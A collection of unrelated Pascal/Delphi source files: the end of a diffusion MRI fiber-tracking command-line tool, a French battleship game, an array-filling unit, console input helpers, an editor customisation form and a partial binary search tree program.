vx := vx + 1;
end;
if waypointVal = 0 then
for j := 0 to (volVox -1) do
if msk.img[j] <> 0 then begin
waypointMap[j] := waypointMap[j] + x;
vx := vx + 1;
end;
if vx > 0 then begin
waypointBits := waypointBits + (1 shl i); //1,2,4,8,16
showmsg(format('%s has %d voxels',[p.waypointName[i], vx]));
end else
showmsg(format('Warning: %s has NO surviving voxels. Intensity range %g..%g',[p.waypointName[i], msk.minInten, msk.maxInten ]));
end;
if waypointBits = 0 then
setlength(waypointMap, 0);
//free the mask image, as we use mskMap
msk.Close;
//map fibers
negTrk.len := 0;
posTrk.len := 0;
RandSeed := 123; //make sure "random" seed placement is precisely repeated across runs
for z := 1 to (msk.hdr.dim[3]-2) do begin //for each slice [except edge]
for y := 1 to (msk.hdr.dim[2]-2) do begin //for each row [except edge]
for x := 1 to (msk.hdr.dim[1]-2) do begin //for each column [except edge]
vx := XYZ2vox(x,y,z);
if (mskMap[vx] = 1) then begin
for seed := 1 to p.seedsPerVoxel do begin
if p.seedsPerVoxel = 1 then
seedOrigin := ptf(x,y,z)
else
seedOrigin := ptf(x+0.5-random ,y+0.5-random ,z+0.5-random);
AddSteps(posTrk, seedOrigin, false);
AddSteps(negTrk, seedOrigin, true);
if ((posTrk.len+negTrk.len) >= p.minLength) then
AddFiber;
end; //for each seed
end; //FA above threshold: create new fiber
end; //for x
end; //for y
showmsg(format('Completed %d/%d', [z, msk.hdr.dim[3] ] ));
end; //for z
setlength(Trk.tracks, TrkPos);
//smooth tracks and simplify
if length(Trk.tracks) < 1 then begin
showmsg('No fibers found');
goto 666;
end;
if p.smooth = 1 then
Trk.Smooth;
Trk.SimplifyRemoveRedundant(p.redundancyToleranceMM);
Trk.SimplifyMM(p.simplifyToleranceMM, p.simplifyMinLengthMM);
if p.smooth = 1 then //run a second time after simplification
Trk.Smooth;
//save data
Trk.Save(p.outName);
showmsg(format('Fiber tracking completed (%dms)', [ MilliSecondsBetween(Now, startTime)]));
result := true;
666:
msk.Free;
v1.Free;
{$IFDEF BEDPOST}
msk2.Free;
v2.Free;
{$ENDIF}
Trk.Close;
end;
constructor TFiberQuant.Create(TheOwner: TComponent);
begin
inherited Create(TheOwner);
StopOnException:=True;
end;
destructor TFiberQuant.Destroy;
begin
inherited Destroy;
end;
procedure TFiberQuant.WriteHelp (var p: TTrackingPrefs);
var
xname: string;
begin
xname := extractfilename(ExeName);
showmsg('Tracktion by Chris Rorden version 14Feb2017');
showmsg('Usage: '+ xname+ ' [options] basename');
showmsg(' Requires dtifit V1 FA images (basename_V1.nii.gz, basename_FA.nii.gz)');
showmsg('Options');
showmsg(format(' -a maximum angle bend (degrees, default %.3g)', [p.maxAngleDeg]));
showmsg(' -h show help');
showmsg(format(' -l minimum length (mm, default %.3g)', [p.simplifyMinLengthMM]));
showmsg(' -o output name (.bfloat, .bfloat.gz or .vtk; default "inputName.vtk")');
showmsg(format(' -s simplification tolerance (mm, default %.3g)', [p.simplifyToleranceMM]));
{$IFDEF BEDPOST}
showmsg(format(' -t threshold (FA for dtifit, probability for bedpost) (default %.3g)', [p.mskThresh]));
{$ELSE}
showmsg(format(' -t threshold (FA for dtifit) (default %.3g)', [p.mskThresh]));
{$ENDIF}
showmsg(format(' -w waypoint name (up to %d; default: none)',[kMaxWayPoint]));
showmsg(format(' -x bedpost exponent (0=sample p1/p2 equally, 2=strongly prefer p1, default %.3g)', [p.bedpostExponent]));
showmsg(format(' -1 smooth (0=no, 1=yes, default %d)', [p.smooth]));
showmsg(format(' -2 stepsize (voxels, voxels %.3g)', [p.stepSize]));
showmsg(format(' -3 minimum steps (voxels, default %d)', [p.minLength]));
showmsg(format(' -4 redundant fiber removal threshold (mm, default %g)', [p.redundancyToleranceMM]));
showmsg(format(' -5 seeds per voxel (default %d)', [p.seedsPerVoxel]));
showmsg('Examples');
{$IFDEF UNIX}
showmsg(' '+xname+' -t 0.2 -o "~/out/fibers.vtk" "~/img_V1.nii.gz"');
showmsg(' '+xname+' -w BA44.nii -w BA3.nii "~/img_V1.nii"');
{$IFDEF BEDPOST}
showmsg(' '+xname+' dyads1.nii.gz"');
{$ENDIF}
{$ELSE}
to do showmsg(' '+xname+' -t 1 -o "c:\out dir\shrunk.vtk" "c:\in dir in.vtk"');
{$ENDIF}
end;
function FindDyads(pth: string; var p: TTrackingPrefs; reportError: integer; isGz: boolean): boolean;
var
ext: string;
begin
if isGz then
ext := '.nii.gz'
else
ext := '.nii';
result := true;
p.v1Name := pth + 'dyads1'+ext;
p.mskName := pth+ 'mean_f1samples'+ext;
if fileexists(p.v1Name) and fileexists(p.mskName) then begin
p.v2Name := pth + 'dyads2'+ext;
p.msk2Name := pth+ 'mean_f2samples'+ext;
if (not fileexists(p.v2Name)) or (not fileexists(p.msk2Name)) then begin
p.v2Name := '';
p.msk2Name := '';
end;
exit;
end;
result := false;
if reportError <> 0 then
showmsg(format('Unable to find bedpostX images "%s" and "%s"',[p.v1Name, p.mskName]));
end;//FindDyads()
function FindV1FA(pth, n, x: string; var p: TTrackingPrefs; reportError: integer): boolean;
begin
result := true;
p.v1Name := pth+n+'_V1'+x;
if (not fileexists(p.v1Name)) and (x = '.nii') then
p.v1Name := pth+n+'_V1'+ '.nii.gz'; //Allow V1.nii.gz and FA.nii or vice versa
p.mskName := pth+n+'_FA'+x;
if fileexists(p.v1Name) and fileexists(p.mskName) then exit;
if reportError <> 0 then
showmsg(format('Unable to find "%s" and "%s"',[p.v1Name, p.mskName]));
result := false;
result := FindDyads(pth, p, reportError,false);
if result then exit;
result := FindDyads(pth, p, reportError,true);
end;//FindV1FA()
function FindNiiFiles(var basename: string; var p: TTrackingPrefs): boolean;
var
pth,n,x: string;
i: integer;
begin
result := true;
if DirectoryExists(basename) then begin // if ~/dir/bedpost.bedpostX/ then find ~/dir/bedpost.bedpostX/dyads1.nii.gz
pth := basename;
if pth[length(pth)] <> pathdelim then
pth := pth + pathdelim; //e.g. ~/dir and ~/dir/ both become ~/dir/
if FindDyads(pth, p, 1, true) then exit;
if FindDyads(pth, p, 1, false) then exit;
end;
FilenameParts (basename, pth,n, x);
for i := 0 to 1 do begin
x := '.nii.gz';
if FindV1FA(pth, n, x, p, i) then exit;
x := '.nii';
if FindV1FA(pth, n, x, p, i) then exit;
if length(n) > 3 then begin //i_FA i_V1
SetLength(n, Length(n) - 3);
if FindV1FA(pth, n, x, p, i) then exit;
x := '.nii.gz';
if FindV1FA(pth, n, x, p, i) then exit;
end;
end;
result := false;
end;// FindNiiFiles()
procedure TFiberQuant.DoRun;
var
p : TTrackingPrefs = (mskName: ''; v1Name: ''; msk2Name: ''; v2Name: ''; outName: '';
waypointName: ('','','','', '','','','');
simplifyToleranceMM: 0.2;
simplifyMinLengthMM: 12;
mskThresh: 0.15;
stepSize: 0.5;
maxAngleDeg: 45;
bedpostExponent: 0.5;
redundancyToleranceMM: 0;
minLength: 1;
smooth: 1;
seedsPerVoxel: 1);
basename: string;
i: integer;
nWaypoint: integer = 0;
{$IFDEF BEDPOST}
isThreshSpecified: boolean = false;
{$ENDIF}
begin
// parse parameters
basename := 'test.nii,7';
//FindImg(basename, nWaypoint); Terminate; exit;
if HasOption('h', 'help') or (ParamCount = 0) then begin
WriteHelp(p);
Terminate;
Exit;
end;
if HasOption('a','a') then
p.maxAngleDeg := StrToFloatDef(GetOptionValue('a','a'), p.maxAngleDeg);
if HasOption('l','l') then
p.simplifyMinLengthMM := StrToFloatDef(GetOptionValue('l','l'), p.simplifyMinLengthMM);
if HasOption('o','o') then
p.outName := GetOptionValue('o','o');
if HasOption('s','s') then
p.simplifyToleranceMM := StrToFloatDef(GetOptionValue('s','s'), p.simplifyToleranceMM);
if HasOption('t','t') then begin
p.mskThresh := StrToFloatDef(GetOptionValue('t','t'), p.mskThresh);
isThreshSpecified := true;
end;
if HasOption('x','x') then begin
p.bedpostExponent := StrToFloatDef(GetOptionValue('a','a'), p.bedpostExponent);
if p.bedpostExponent < 0 then
p.bedpostExponent := 0;
end;
for i := 1 to (ParamCount-2) do begin
if UpperCase(paramstr(i)) = ('-W') then begin
if nWaypoint < kMaxWayPoint then
p.waypointName[nWaypoint] := paramstr(i+1)
else
showmsg('Error: Too many waypoints requested');
nWaypoint := nWaypoint + 1;
end;
end;
if HasOption('1','1') then
p.smooth := round(StrToFloatDef(GetOptionValue('1','1'), p.smooth));
if HasOption('2','2') then
p.stepSize := StrToFloatDef(GetOptionValue('2','2'), p.stepSize);
if HasOption('3','3') then
p.minLength := round(StrToFloatDef(GetOptionValue('3','3'), p.minLength));
if HasOption('4','4') then
p.redundancyToleranceMM := StrToFloatDef(GetOptionValue('4','4'), p.redundancyToleranceMM);
if HasOption('5','5') then
p.seedsPerVoxel := round(StrToFloatDef(GetOptionValue('5','5'), p.seedsPerVoxel));
basename := ParamStr(ParamCount);
if (not FileExists(basename)) and (FileExists(basename +'.bvec')) then
basename := basename +'.bvec';
if not FindNiiFiles(basename, p) then begin
WriteHelp(p);
Terminate;
Exit;
end;
if p.outName = '' then begin
if DirectoryExists(basename) then begin
if basename[length(basename)] = pathdelim then
p.outName := basename + 'track.vtk'
else
p.outName := basename + pathdelim + 'track.vtk'
end else
p.outName := ChangeFileExtX(basename, '.vtk');
end;
if (not isThreshSpecified) and (p.v2Name <> '') then
p.mskThresh := 0.01; //for bedpost, use 1% probability, where for FA we usually set a higher threshold (e.g. 0.15)
track(p);
Terminate;
end;// DoRun()
var
Application: TFiberQuant;
begin
Application:=TFiberQuant.Create(nil);
Application.Title:='Tracktion';
Application.Run;
Application.Free;
end.
|
program Bataille_Navale_Prof;
uses crt,sysutils;
CONST
NBBATEAU=2;
MAXCASE=4;
MINL=1;
MAXL=10;
MINC=1;
MAXC=10;
Type
positionBateau=(enLigne,enColonne,enDiag);
etatBateau=(toucher,couler);
etatFlotte=(aFlot,aSombrer);
etatJoueur=(gagne,perd);
type
cellule=record
ligne:integer;
col:integer;
end;
bateau=record
nCase:array [1..MAXCASE] of cellule;
taille:integer;
end;
flotte=record
nBateau:array [1..NBBATEAU] of bateau;
end;
function tailleBateau(nBateau:bateau):integer;
var
i:integer;
cpt:integer;
begin
cpt:=0;
for i:=1 to MAXCASE do
begin
if (nBateau.nCase[i].ligne<>0) or (nBateau.nCase[i].col<>0) then
cpt:=cpt+1;
end;
tailleBateau:=cpt;
end;
function etatBat(nBateau:bateau):etatBateau;
var
etat:integer;
begin
etat:=tailleBateau(nBateau);
if (etat<nBateau.taille) and (etat>0) then etatBat:=toucher
else if (etat=0) then etatBat:=couler;
end;
function etatFlot(player:flotte):etatFlotte;
var
i:integer;
cpt:integer;
begin
cpt:=0;
for i:=1 to NBBATEAU do
begin
if (etatBat(player.nBateau[i])=couler) then cpt:=cpt+1;
end;
if cpt=NBBATEAU then etatFlot:=aSombrer
else
etatFlot:=aFlot;
end;
PROCEDURE CreateCase(l,c:integer; VAR nCellule:cellule);
begin
nCellule.ligne:=l;
nCellule.col:=c;
end;
FUNCTION cmpCase(nCellule,tCellule:cellule):boolean;
begin
if ((nCellule.col=tCellule.col) and (nCellule.ligne=tCellule.ligne)) then
cmpCase:=true
else
cmpCase:=false;
end;
FUNCTION createBateau(nCellule:cellule; taille:integer):bateau;
var
res:bateau;
posBateau:positionBateau;
i:integer;
pos:integer;
begin
pos:=Random(3);
posBateau:=positionBateau(pos);
res.taille:=taille;
for i:=1 to MAXCASE do
begin
if (i<=taille) then
begin
res.nCase[i].ligne:=nCellule.ligne;
res.nCase[i].col:=nCellule.col;
end
else
begin
res.nCase[i].ligne:=0;
res.nCase[i].col:=0;
end;
if (posBateau=enLigne) then
nCellule.col:=nCellule.col+1
else
if (posBateau=enColonne) then
nCellule.ligne:=nCellule.ligne+1
else
if (posBateau=enDiag) then
begin
nCellule.ligne:=nCellule.ligne+1;
nCellule.col:=nCellule.col+1;
end;
end;
createBateau:=res;
end;
procedure fPlayer (var nBateau:bateau;var nCellule:cellule);
begin
repeat
nBateau.taille:=Random(MAXCASE)+3;
until (nBateau.taille>2) and (nBateau.taille<=MAXCASE);
repeat
CreateCase((Random(MAXL)+MINL),(Random(MAXC)+MINL),nCellule);
until (nCellule.ligne>=MINL) and (nCellule.ligne<=MAXL-nBateau.taille) and (nCellule.col>=MINC) and (nCellule.col<=MAXC-nBateau.taille);
nBateau:=createBateau(nCellule,nBateau.taille);
end;
procedure initfPlayer(var player:flotte; nCellule:cellule);
var
i,j:integer;
begin
for i:=1 to NBBATEAU do
begin
fPlayer(player.nBateau[i],nCellule);
for j:=1 to MAXCASE do
begin
end;
end;
end;
procedure attaquerBateau(var player:flotte);
var
nCellule:cellule;
test:boolean;
i,j:integer;
begin
repeat
writeln('Entrez la ligne [1-10]');
readln(nCellule.ligne);
if (nCellule.ligne<1) or (nCellule.ligne>50) then writeln('erreur [1-10]');
until (nCellule.ligne>0) and (nCellule.ligne<=50);
repeat
writeln('Entrez la colonne [1-10]');
readln(nCellule.col);
if (nCellule.col<1) or (nCellule.col>50) then writeln('erreur [1-10]');
until (nCellule.col>0) and (nCellule.col<=50);
for i:=1 to NBBATEAU do
begin
for j:=1 to player.nBateau[i].taille do
begin
test:=false;
test:=cmpCase(nCellule,player.nBateau[i].nCase[j]);
if test then
begin
writeln('touche ! ');
CreateCase(0,0,player.nBateau[i].nCase[j]);
if etatBat(player.nBateau[i])=couler then writeln('couler ! ');
end;
end;
end;
end;
var
nCellule:cellule;
i:integer;
joueur1,joueur2:flotte;
etat1,etat2:etatJoueur;
etatfl1,etatfl2:etatFlotte;
begin
clrscr;
randomize;
etat1:=gagne;
etat2:=gagne;
etatfl1:=aFlot;
etatfl2:=aFlot;
initfPlayer(joueur1,nCellule);
initfPlayer(joueur2,nCellule);
repeat
if (etat1=gagne) and (etat2=gagne) then
begin
writeln('Joueur 1 : ');
attaquerBateau(joueur1);
end;
etatfl1:=etatFlot(joueur1);
if etatfl1=aSombrer then
etat2:=perd;
if (etat1=gagne) and (etat2=gagne) then
begin
writeln('Joueur 2 : ');
attaquerBateau(joueur2);
end;
etatfl2:=etatFlot(joueur2);
if etatfl2=aSombrer then
etat1:=perd;
until ((etat1=perd) or (etat2=perd)) and ((etatfl1=aSombrer) or (etatfl2=aSombrer));
if etat1=perd then writeln('Joueur 2 a gagner')
else writeln('Joueur 1 a gagner');
readln;
end.
|
unit Validador.Core.LocalizadorScript;
interface
uses
Data.DB;
type
ILocalizadorDeScript = Interface(IInterface)
['{11A5B89F-E97E-4501-8F49-E6B07886921E}']
function SetDataSet(const ADataSet: TDataSet): ILocalizadorDeScript;
procedure Localizar(const DiretorioInicio: string);
end;
implementation
end.
|
unit GLOBAL;
interface {Описання доступної інформації для їнших модулів}
const
p = 1;
m = 10;
n = 10;
type
arr = array[1..p, 1..m, 1..n] of integer; {Задання користувацького типу "масив"}
vector=array [1..n*m] of integer; {Задання користувацького типу "вектор"}
var A:arr; {Змінна типу масив}
V:arr; {Змінна типу масив}
C:vector; {Змінна типу вектор}
procedure ShowArray(const a: arr); {Процедура виведення масиву на екран}
procedure SortArray(var a: arr); {Процедура впорядкованного заповнення масиву}
procedure UnSortArray(var a: arr); {Процедура невпорядкованного заповнення масиву}
procedure UnSortCopy(var a: arr); {Процедура копіюванння рандомного масиву}
procedure BackSortArray(var a: arr); {Процедура заповнення обернено впорядкованного масиву}
procedure SortVect(var C: vector); {Процедура впорядкованного заповнення вектора}
procedure UnSortVect(var C: vector); {Процедура невпорядкованного заповнення вектора}
procedure BackSortVect(var C: vector); {Процедура заповнення обернено впорядкованного вектора}
implementation
procedure ShowArray(const a: arr); {Процедура виведення масиву на екран}
var
i, j, k: word;
begin
for k := 1 to p do {Лічильники проходу по координатам масиву}
begin
for i := 1 to m do
begin
for j := 1 to n do
write(a[k, i, j]:8); {Виведення елементу на екран}
writeln;
end;
writeln;
end;
end;
procedure UnSortArray(var a: arr); {Процедура невпорядкованного заповнення масиву}
var
i, j, k: word; {Змінні кординат}
begin
randomize;
for k := 1 to p do {Лічильники проходу по координатам масиву}
for i := 1 to m do
for j := 1 to n do
a[k, i, j] := random(p * m * n); {Присвоєння комірці масиву рандомного значення}
end;
procedure UnSortCopy(var a: arr); {Процедура копіюванння рандомного масиву}
var
i, j, k: word; {Змінні кординат}
begin
for k := 1 to p do {Лічильники проходу по координатам масиву}
for i := 1 to m do
for j := 1 to n do
a[k, i, j] := V[k,i,j]; {Присвоєння запам'ятованих рандомних занчень}
end;
procedure SortArray(var a: arr); {Процедура впорядкованного заповнення масиву}
var
i, j, k: word; {Змінні кординат}
l: integer; {Змінна, за допомогою якої буде заповнюватися масив}
begin
l := 1;
for k := 1 to p do {Лічильники проходу по координатам масиву}
for i := 1 to m do
for j := 1 to n do
begin
a[k, i, j] := l; {Присвоєння комірці масиву значення l}
inc(l); {При кожному проході лічильника, змінна l буде збільшуватися на 1}
end;
end;
procedure BackSortArray(var a: arr); {Процедура заповнення обернено впорядкованного масиву}
var
i, j, k: word; {Змінні кординат}
l: integer; {Змінна, за допомогою якої буде заповнюватися масив}
begin
l := p * m * n; {Змінній l присвоюється значення кількості елементів масиву}
for k := 1 to p do {Лічильники проходу по координатам масиву}
for i := 1 to m do
for j := 1 to n do
begin
a[k, i, j] := l; {Присвоєння комірці масиву значення l}
dec(l); {При кожному проході лічильника, змінна l буде зменьшуватися на 1}
end;
end;
procedure SortVect(var C: vector); {Процедура впорядкованного заповнення вектора}
var
i,j:integer;
begin
for i:=1 to (n*m) do {Лічильник проходу по вектору}
C[i]:=i; {Заповнення вектора впорядкованими числами}
end;
procedure UnSortVect(var C: vector); {Процедура невпорядкованного заповнення вектора}
var
i,j:integer;
begin
j:=n*m;
for i:=1 to (j) do {Лічильник проходу по вектору}
C[i]:=random(j); {Присвоєння рандомного значення комірці вектора}
end;
procedure BackSortVect(var C: vector); {Процедура заповнення обернено впорядкованного вектора}
var
i,j,g:integer;
begin
j:=n*m; g:=j;
for i:=1 to j do {Лічильник проходу по вектору}
begin
C[i]:=g; {Заповнення вектора обернено впорядкованими числами}
dec(g);
end;
end;
end. |
unit TerminalUserInput;
interface
///
/// Displays a prompt to the user, and reads in the string
/// they reply with. The string entered is then returned.
///
function ReadString(prompt: String): String;
///
/// Displays a prompt to the user, and reads in the number (whole)
/// they reply with. The function ensures that the user's entry
/// is a valid Integer. The Integer entered is then returned.
///
function ReadInteger(prompt: String): Integer;
///
/// Displays a prompt to the user, and reads in the number (real)
/// they reply with. The function ensures that the user's entry
/// is a valid Double. The Double entered is then returned.
///
function ReadDouble(prompt: String): Double;
implementation
uses SysUtils;
function ReadString(prompt: String): String;
begin
Write(prompt);
ReadLn(result);
end;
function ReadInteger(prompt: String): Integer;
var
line: String;
begin
line := ReadString(prompt);
while not TryStrToInt(line, result) do
begin
WriteLn(line, ' is not a number.');
line := ReadString(prompt);
end;
end;
function ReadDouble(prompt: String): Double;
var
line: String;
begin
line := ReadString(prompt);
while not TryStrToFloat(line, result) do
begin
WriteLn(line, ' is not a double.');
line := ReadString(prompt);
end;
end;
end.
|
unit CustomizeEditor;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, mwCustomEdit, StdCtrls, ColorGrd, ExtCtrls, ipUtils, ipPlacemnt,
ipOther, ipFontMng, ipEdit, ipControls, ipButtons, mwHighlighter,
ipBookSyn, ipHTMLHelp;
type
TfmCustomizeEditor = class(TipHTMLHelpForm)
GroupBox3: TGroupBox;
lbSyntax: TipListBoxTS;
fssSyntax: TipFontStylesSet;
Label1: TLabel;
Label7: TLabel;
bbOK: TipButton;
bbCancel: TipButton;
ssFormPlacement1: TipFormPlacement;
cpText: TipColorPanel;
cpBack: TipColorPanel;
GroupBox1: TGroupBox;
cpMain: TipColorPanel;
Label8: TLabel;
ccbRight: TipColorComboBox;
Label5: TLabel;
fseRight: TipFontSizeEdit;
Label6: TLabel;
fcbText: TipFontComboBox;
Label3: TLabel;
fseText: TipFontSizeEdit;
Label4: TLabel;
GroupBox2: TGroupBox;
mwSample: TmwCustomEdit;
Label2: TLabel;
bHelp: TipButton;
Syn: TipBookSyn;
procedure fcbTextChange(Sender: TObject);
procedure fseTextChange(Sender: TObject);
procedure ccbRightChange(Sender: TObject);
procedure fseRightChange(Sender: TObject);
procedure lbSyntaxClick(Sender: TObject);
procedure cpMainChange(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure cgSyntaxChange(Sender: TObject);
procedure cpTextChange(Sender: TObject);
procedure cpBackChange(Sender: TObject);
private
FActiveAttri: TmwHighLightAttributes;
procedure GetSyntax;
procedure SetSyntax;
public
class function ShowInfo: boolean;
end;
implementation
{$R *.DFM}
uses
Main;
class function TfmCustomizeEditor.ShowInfo: boolean;
begin
with TfmCustomizeEditor.Create(Application) do try
with fmMain,mwSample do begin
cpMain.Color:=Editor.Color;
fcbText.SelectedFont:=Editor.Font.Name;
fseText.Value:=Editor.Font.Size;
fseTextChange(nil);
ccbRight.SelectedColor:=Editor.RightEdgeColor;
fseRight.Value:=Editor.RightEdge;
fseRightChange(nil);
end;
with fmMain.BookSyn do begin
Syn.ArgAttri.Assign(ArgAttri);
Syn.CommentAttri.Assign(CommentAttri);
Syn.DirectiveAttri.Assign(DirectiveAttri);
Syn.InvalidAttri.Assign(InvalidAttri);
Syn.KeyAttri.Assign(KeyAttri);
Syn.LinkAttri.Assign(LinkAttri);
Syn.LabelAttri.Assign(LabelAttri);
Syn.NumberAttri.Assign(NumberAttri);
Syn.SpaceAttri.Assign(SpaceAttri);
Syn.SplitAttri.Assign(SplitAttri);
Syn.SubstAttri.Assign(SubstAttri);
Syn.SymbolAttri.Assign(SymbolAttri);
Syn.ValueAttri.Assign(ValueAttri);
Syn.ScriptAttri.Assign(ScriptAttri);
Syn.ScriptKeywordAttri.Assign(ScriptKeywordAttri);
Syn.ScriptFuncAttri.Assign(ScriptFuncAttri);
Syn.ScriptLabelAttri.Assign(ScriptLabelAttri);
Syn.ScriptConstAttri.Assign(ScriptConstAttri);
end;
Result:=ShowModal = mrOK;
if Result then begin
with fmMain,mwSample do begin
Editor.Color:=Color;
Editor.Font.Size:=Font.Size;
Editor.Font.Name:=Font.Name;
Editor.RightEdge:=RightEdge;
Editor.RightEdgeColor:=RightEdgeColor;
end;
with fmMain.BookSyn do begin
ArgAttri.Assign(Syn.ArgAttri);
CommentAttri.Assign(Syn.CommentAttri);
DirectiveAttri.Assign(Syn.DirectiveAttri);
InvalidAttri.Assign(Syn.InvalidAttri);
KeyAttri.Assign(Syn.KeyAttri);
LinkAttri.Assign(Syn.LinkAttri);
LabelAttri.Assign(Syn.LabelAttri);
NumberAttri.Assign(Syn.NumberAttri);
SpaceAttri.Assign(Syn.SpaceAttri);
SplitAttri.Assign(Syn.SplitAttri);
SubstAttri.Assign(Syn.SubstAttri);
SymbolAttri.Assign(Syn.SymbolAttri);
ValueAttri.Assign(Syn.ValueAttri);
ScriptAttri.Assign(Syn.ScriptAttri);
ScriptKeywordAttri.Assign(Syn.ScriptKeywordAttri);
ScriptFuncAttri.Assign(Syn.ScriptFuncAttri);
ScriptLabelAttri.Assign(Syn.ScriptLabelAttri);
ScriptConstAttri.Assign(Syn.ScriptConstAttri);
end;
end;
finally
Free;
end;
end;
procedure TfmCustomizeEditor.fcbTextChange(Sender: TObject);
begin
mwSample.Font.Name:=fcbText.SelectedFont;
end;
procedure TfmCustomizeEditor.fseTextChange(Sender: TObject);
begin
mwSample.Font.Size:=fseText.Value;
end;
procedure TfmCustomizeEditor.ccbRightChange(Sender: TObject);
begin
mwSample.RightEdgeColor:=ccbRight.SelectedColor;
end;
procedure TfmCustomizeEditor.fseRightChange(Sender: TObject);
begin
mwSample.RightEdge:=fseRight.Value;
end;
procedure TfmCustomizeEditor.cpMainChange(Sender: TObject);
begin
mwSample.Color:=cpMain.Color;
end;
procedure TfmCustomizeEditor.GetSyntax;
begin
with Syn do case lbSyntax.ItemIndex of
0: FActiveAttri.Assign(SymbolAttri);
1: FActiveAttri.Assign(KeyAttri);
2: FActiveAttri.Assign(DirectiveAttri);
3: FActiveAttri.Assign(LinkAttri);
4: FActiveAttri.Assign(InvalidAttri);
5: FActiveAttri.Assign(ArgAttri);
6: FActiveAttri.Assign(ValueAttri);
7: FActiveAttri.Assign(LabelAttri);
8: FActiveAttri.Assign(SplitAttri);
9: FActiveAttri.Assign(SubstAttri);
10: FActiveAttri.Assign(CommentAttri);
11: FActiveAttri.Assign(SpaceAttri);
12: FActiveAttri.Assign(NumberAttri);
13: FActiveAttri.Assign(ScriptAttri);
14: FActiveAttri.Assign(ScriptKeywordAttri);
15: FActiveAttri.Assign(ScriptFuncAttri);
16: FActiveAttri.Assign(ScriptLabelAttri);
17: FActiveAttri.Assign(ScriptConstAttri);
end;
fssSyntax.OnChange:=nil;
fssSyntax.FontStyles:=FActiveAttri.Style;
fssSyntax.OnChange:=cgSyntaxChange;
cpText.OnChange:=nil;
cpText.Color:=FActiveAttri.Foreground;
cpText.OnChange:=cpTextChange;
cpBack.OnChange:=nil;
cpBack.Color:=FActiveAttri.Background;
cpBack.OnChange:=cpBackChange;
end;
procedure TfmCustomizeEditor.SetSyntax;
begin
with Syn do case lbSyntax.ItemIndex of
0: SymbolAttri.Assign(FActiveAttri);
1: KeyAttri.Assign(FActiveAttri);
2: DirectiveAttri.Assign(FActiveAttri);
3: LinkAttri.Assign(FActiveAttri);
4: InvalidAttri.Assign(FActiveAttri);
5: ArgAttri.Assign(FActiveAttri);
6: ValueAttri.Assign(FActiveAttri);
7: LabelAttri.Assign(FActiveAttri);
8: SplitAttri.Assign(FActiveAttri);
9: SubstAttri.Assign(FActiveAttri);
10: CommentAttri.Assign(FActiveAttri);
11: SpaceAttri.Assign(FActiveAttri);
12: NumberAttri.Assign(FActiveAttri);
13: ScriptAttri.Assign(FActiveAttri);
14: ScriptKeywordAttri.Assign(FActiveAttri);
15: ScriptFuncAttri.Assign(FActiveAttri);
16: ScriptLabelAttri.Assign(FActiveAttri);
17: ScriptConstAttri.Assign(FActiveAttri);
end;
mwSample.Highlighter:=nil;
mwSample.Highlighter:=Syn;
end;
procedure TfmCustomizeEditor.lbSyntaxClick(Sender: TObject);
begin
fssSyntax.Enabled:=lbSyntax.ItemIndex>=0;
cpText.Enabled:=fssSyntax.Enabled;
cpBack.Enabled:=fssSyntax.Enabled;
GetSyntax;
end;
procedure TfmCustomizeEditor.FormCreate(Sender: TObject);
begin
FActiveAttri:=TmwHighLightAttributes.Create('');
end;
procedure TfmCustomizeEditor.FormDestroy(Sender: TObject);
begin
FActiveAttri.Free;
end;
procedure TfmCustomizeEditor.cgSyntaxChange(Sender: TObject);
begin
FActiveAttri.Style:=fssSyntax.FontStyles;
SetSyntax;
end;
procedure TfmCustomizeEditor.cpTextChange(Sender: TObject);
begin
FActiveAttri.Foreground:=cpText.Color;
SetSyntax;
end;
procedure TfmCustomizeEditor.cpBackChange(Sender: TObject);
begin
FActiveAttri.Background:=cpBack.Color;
SetSyntax;
end;
end.
|
PROGRAM BST; {* binary search tree *}
TYPE
Node = ^NodeRec;
NodeRec = Record
value: LONGINT;
// nexts: ARRAY[1..?] OF NODE;
left, right: Node;
END;
Tree = Node;
FUNCTION ToLeft(nodeValue, value: LONGINT): BOOLEAN;
BEGIN
ToLeft := value < nodeValue;
END;
PROCEDURE InitTree(VAR t: Tree);
BEGIN
t := NIL
END;
PROCEDURE DisposeTree(t: Tree);
BEGIN
IF t <> Nil THEN BEGIN
DisposeTree(t^.left);
DisposeTree(t^.right);
Dispose(t);
END;
END;
PROCEDURE DisplayTree(t: Tree);
BEGIN
IF t <> NIL THEN BEGIN
DisplayTree(t^.left);
Write(t^.value, ' ');
DisplayTree(t^.right);
END;
END;
// is OKAY, but lets do it iterative
// PROCEDURE AddValueToTree(VAR t: Tree; value: LONGINT);
// BEGIN
// IF t = NIL THEN BEGIN
// New(t);
// t^.value := value;
// t^.left := NIL;
// t^.right := NIL;
// END ELSE IF ToLeft(t^.value, value) THEN
// AddValueToTree(t^.left, value)
// ELSE AddValueToTree(t^.right, value);
// END;
PROCEDURE AddValueToTree(VAR t: Tree; value: LONGINT);
VAR
n, parent: Node;
BEGIN
parent := NIL;
n := t;
WHILE n <> NIL DO BEGIN
parent := n;
IF ToLeft(n^.value, value) THEN n := n^.left
ELSE n := n^.right;
END;
New(n);
n^.value := value;
n^.left := NIL;
n^.right := NIL;
IF parent = NIL THEN BEGIN
t := n
END ELSE IF ToLeft(parent^.value, value) THEN BEGIN
parent^.left := n
END
ELSE parent^.right := n
END;
// Generic versin for all kinds of binary trees but binary search tree can do better
// FUNCTION ContainsValue(t: Tree; value: LONGINT): BOOLEAN;
// BEGIN
// IF t = NIL THEN ContainsValue := FALSE
// ELSE BEGIN
// ContainsValue := (t^.value = value) OR ContainsValue(t^.left, value) OR ContainsValue(t^.right, value);
// END;
// END;
// make it iterative
// FUNCTION Containsvalue(t: Tree; value: LONGINT): BOOLEAN;
// BEGIN
// IF t = NIL THEN ContainsValue := FALSE
// ELSE IF t^.value = value THEN ContainsValue := TRUE
// ELSE IF ToLeft(t^.value, value) THEN ContainsValue := ContainsValue(t^.left, value)
// ELSE ContainsValue := Containsvalue(t^.right, value)
// END;
FUNCTION ContainsValue(t: Tree; value: LONGINT): BOOLEAN;
BEGIN
WHILE (t <> NIL) AND (t^.value <> value) DO BEGIN
IF ToLeft(t^.value, value) THEN t := t^.left
ELSE t := t^.right
END;
ContainsValue := t <> NIL
END;
FUNCTION CountValues(root: Tree; x: LONGINT): INTEGER;
VAR
count: INTEGER;
BEGIN
count := 0;
IF root <> NIL THEN
BEGIN
IF (root^.value = x) THEN
count := 1;
IF root^.left <> NIL THEN
